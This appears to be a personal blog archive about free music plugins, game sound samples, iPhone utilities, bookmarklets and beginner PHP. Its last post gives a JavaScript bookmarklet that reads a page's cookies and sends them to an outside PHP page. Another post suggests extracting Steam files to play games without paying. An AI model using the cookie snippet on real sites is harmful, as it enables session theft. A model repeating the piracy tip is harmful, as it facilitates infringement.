Clippy

Copy from iPhone/iPod to Computer

Since Apple loves to prohibit you from basic functionality, I was forced to go dig around the interwebs for some software.

I found this rad software called floola that will allow you to copy anything from your iPhone or iPod to your computer!


The best part it's completely free. I found a few others out there, but most of them sucked or where paid versions. Most of them that can't even do as much as floola.

Download it and give a whirl, floola currently supports Windows, Mac (10.3 and above) and Linux (GTK)!

Ubuntu users:

sudo apt-get install libnotify-bin

Debian users:

su -c “apt-get install libnotify-bin”

http://www.floola.com

Ukulele DirectWave bank

Update to Ukulele sample pack (1-11-10): I put the ukulele samples into DirectWave (FL Studio) as a bank and program. Download here

Kingpin game sfx

A pack of sound effects from the demo of Kingpin. Good ambient stuff, funny dialogue and basics like footsteps.

Download

Mortal Kombat Samples

Test your might! Yep we all played this game at least once in our lives. Some of us more then others, needless to say this classic fighter will never die. Our children's children will be playing this one. It might not be the original Mortal Kombat, probably MK3030 on the PSY3K.


Anyways here are the game samples from SNES, download'em.

Double Dragon 2

Double Dragon Samples

Billy and Jimmy Lee aka "Hammer and Spike" found their way into homes via SNES. Well known in the Arcade scene the action fighter was an instant success.

Electronic Gaming Monthly (often abbreviated to EGM) rated Double Dragon #41 out of 200 for best game of their time.

Download the game samples here for your Double Dragon mash-up needs, http://www.mediafire.com/?ndiz3zytzjj

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Killer Instinct Samples

Killer Instinct was a pretty rad fighter for it's time, it had good music, sound effects and graphics. Here are the samples from the game, happy mashing!

Download the samples here http://www.mediafire.com/?zodhhjz45qz

ENDODUKEN!!!!
Fuckin 90's man those were my golden years - AKg0Lden

Space Colony Samples

The premise is similar to The Sims in that the player has to care for the needs of a several individuals - here each with a unique personality and different abilities. The game is mission orientated and involves setting up a futuristic base and carrying out missions which involve mining minerals, developing relationships, harvesting resources to prevent running out of oxygen and power, collecting food, and fighting back alien attacks. Play the mini game for free at GameZone

I've bundled up some game fx, music and speech samples, download them here.

1602 A.D - Game Samples

"While 1602 A.D. is certainly not the cutting edge of gaming technology, it is a first peek of what the category of economic strategy will look like in the years to come." - IGN

Tonight I am posting the sound effects and samples ripped from the PC video game, for you mash-up in your music.

Download the samples here!

How to Extract Steam GCF Files

GCF files are special file extension from Steam. Steam is a gaming client that provides legal games like Half-life, Counter strike 1.6, Counter strike zero condition and other first person shooting games that can be played online by paying a small fee. They have named these Game Cache File as GCF files and updates latest compressed games automatically. Steam client  also has an instant chatting application that can be played while playing games. But you can play these games locally without paying any money by extracting the GCF Files.

Put it back!!

Video Streaming - iPhone 3G/3GS

Found this little gem today, it's called "Air Video" it's a player that allows you to stream almost any video type right to your iPhone or iPod touch from an "Air Video Server".

The great part is you don't need to store any of the videos on your iPhone! So if you are like me and have a nice phat library at home, with a reasonable internet speed and computer, you can load up the "Air Server" and access your videos anywhere!

Download the Air Video Server and don't forget to grab the Air Video Player in the Appstore!

Antress Modern Plugins

Over at Antress you can download a bundle of professional VST effects and they are all for free! Download them from this Mirror

Antress Compressor

• Modern Compressor.
• Power On/Off button.
• Gate On/Off button.
• Gain Reduction meter include.
• Post-gate control (-96 to -30 dB)
• Gate time control.
• Threshold control (0 to 48 dB).
• Attack time control (1 ms to 50 ms).
• Release time control (60, 125, 250, 500ms, 1, 2, 4sec).
• Ratio switch (1.5:1, 2:1, 4:1, 8:1, 16:1, 32:1 and Tank mode).
• Side-Chain high pass filter control (off to 300 Hz).
• Mix control (0 to 100 %).
• Gain control (0 to 30 dB).

Read more about Antress and grab all the free effects at http://antress.er-webs.com

Ukulele Sample Pack

Lucky Flaush over at flstudiomania posted a nice Ukulele sample package all in WAV format. This sample kit would load nicely in fruityloops, or any other sampling software.

You can download the package at flstudiomania.blogspot.com or from this mirror

Loopmasters Free Samples

Loopmasters is giving away a bunch of free loops, this collection consists of 150 samples all in WAV format. You can load them in almost any software sampler. This package contains a variety of styles such as broken beat, club, trance, house, dnb, funk, hip hop and much more. Enjoy the free download from Loopmasters!

Download Free Samples

FLStudio - Direct Wave Plugin

It loads and edits most of the existing sound formats out there (WAV (any), SF2 (Soundfont), AKP (Akai), Propellerheads Recycle, Native Instruments Battery, Kontakt *(nki), GIGA *(gig) & eMagic EXS24, ...) and it can even sample your existing VSTi instruments.

SkreemR

Looking for a song? Try SkreemR it's a pretty good mp3 search engine. I found some rare tracks on this webpage. Below is a bookmarklet. Just add it to your browser as a bookmark and you can make mp3 searching a lot easier.

javascript:void(q=prompt('skreemr.com:',getSelection()));if(q) void(location.href='http://skreemr.com/results.jsp?q=' + escape(q))

http://skreemr.com/

Quantum Leap - Symphonic Choirs

Are you freaking serious, you have to check out this video. Wow Symphonic Choir has unbelievable quality, the "word builder" seems like a very interesting concept. I'd be interested in playing around with this toy. Also check out the demo audio files they can be found by clicking the link under the video.



If you are interested in this software visit the official website at eastwestsamples.com

mda - open source vst

The mda vst's have been around a while, and enjoy using them with fruity loops. In this post I'll recommend a few of them I use often, but I suggest you give them a shot yourself and find which effects vibe with you. These are free effects and they work with Cubase, FruityLoops and other VST compatible applications.

The mda effects that I use the most would have to be degrade, sub-bass synthesizer, and the limiter. These plugins have proven to work very well in FL Studio, linking the knobs to controllers or using them in recorded automation is a cinch!

mda degrade - If you want to do some bit crushing the mda degrade plugin will do that perfectly. I use it often on my drums to get that grungy snare and noisey kick.



mda subsynth - Looking for that kicking bass? Well you have found it. The one thing I love about this effect is the ability to change the release function. You can get that quick punchy bass or if you crave the sustained low tones just increase the release.



mda also makes a few synth plug-ins, you can download those here, if you are a fruity loops user, then you maybe familiar with the JX10 and DX10 synths and the piano vsts. They are very similar to the fruity keys and DX instrument that come with FL.

mda is also open source, if you are interested in the source code,  if you are looking for mac or windows versions visit the official mda website at http://mda.smartelectronix.com/

Bells - FX - Samples

Over 20 free samples of  Bells, they are in wav format. Enjoy!
http://www.mediafire.com/?zwjgylm3imn

Krump Krabs by Metafiend

My friend made this mashup I think it's pretty bad ass. "Aim for the head." Listen to more of Metafiends music at http://soundcloud.com/metafiend

Glitch VST

Glitch chops up your audio in real-time and applies a variety of effects which can either be chosen at random, manually sequenced, or a mixture of both. The sounds it generates range from quite subtle to extremely bizarre, depending on how much you tweak the controls.

Download Glitch it's FREE

Goblin Contredanse by Metafiend

French goblins from 1788 warp into modern-day Louisiana to teach contredanse.
Listen to more of Metafiends music at http://soundcloud.com/metafiend

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Yamaha CS-80 Synth

It can generate great analog strings, brass, drones and pads with that instantly recognizable classic polysynth sound. Even harmonica and saxophone sound are possible - this can be heard on the Blade Runner soundtrack by Vangelis, in which virtually all the sounds are created from the CS-80. It was discontinued in 1980.

June - Kamatayan Remix

A remix of a new tune that I made about 3 months ago.

Bassnectar - Cozza Frenzy

Find some more free tunes by bassnectar at SkreemR

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Epic Fail - Video Collection

Fenslerfilm GI Joe

All 25 of Eric Fensler's GI Joe Public Service Announcement spoofs! (The most popular one, "Porkchop Sandwiches," is #7.)

php - preg_match

Getting the domain name out of a URL

// get host name from URL
preg_match('@^(?:http://)?([^/]+)@i',
   "http://www.php.net/index.html", $matches);
$host = $matches[1];

// get last two segments of host name
preg_match('/[^.]+\.[^.]+$/', $host, $matches);
echo "domain name is: {$matches[0]}\n";

php - file open

For many different technical reasons, PHP requires you to specify your intentions when you open a file. Below are the three basic ways to open a file and the corresponding character that PHP uses.

$ourFileName = "testFile.txt";
$fh = fopen($ourFileName, 'X') or die("Can't open file");
fclose($fh);

Read: 'r'
Open a file for read only use. The file pointer begins at the front of the file.

Write: 'w'
Open a file for write only use. In addition, the data in the file is erased and you will begin writing data at the beginning of the file. This is also called truncating a file, which we will talk about more in a later lesson. The file pointer begins at the start of the file.

Append: 'a'
Open a file for write only use. However, the data in the file is preserved and you begin will writing data at the end of the file. The file pointer begins at the end of the file.

A file pointer is PHP's way of remembering its location in a file. When you open a file for reading, the file pointer begins at the start of the file. This makes sense because you will usually be reading data from the front of the file.

However, when you open a file for appending, the file pointer is at the end of the file, as you most likely will be appending data at the end of the file. When you use reading or writing functions they begin at the location specified by the file pointer.

php - file write

Now that you know how to open and close a file, lets get on to the most useful part of file manipulation, writing! There is really only one main function that is used to write and it's logically called fwrite.

$filename= "myfile.txt";
$fh = fopen($filename, 'w') or die("Can't open file!");
$string= "Pointy Pinto\n";
fwrite($fh, $string);
fclose($fh);

bit.ly - bookmarklet

Create bit.ly links on the fly with this bookmarklet. Just add the code below to a bookmark and click it when you want to create a short url with bit.ly.

javascript:void(location.href='http://bit.ly/?s=&url='+encodeURIComponent(location.href))

Image Shack - bookmarklet

Add this javascript as a bookmarklet, then when you are viewing an image (jpg,gif,png) you can click the bookmark link and it will post the image to imageshack for you.

javascript:void(location.href='http://www.imageshack.us/transload.php?uploadtype=on&url='+encodeURIComponent(location.href))

Javascript Cookie Monster

So today I just realized you can grab client cookies with javascript, I demonstrated by getting my own by putting this link as bookmark and viewing "said" page that I am getting cookies from. Then passing the cookie string to a third party php page to process, email or whatever you feel like doing.

javascript:var%20x%20=%20document.cookie;window.open('http://www.webpage.com/cookies.php?cookie='+x,'newpage','width=100,height=100');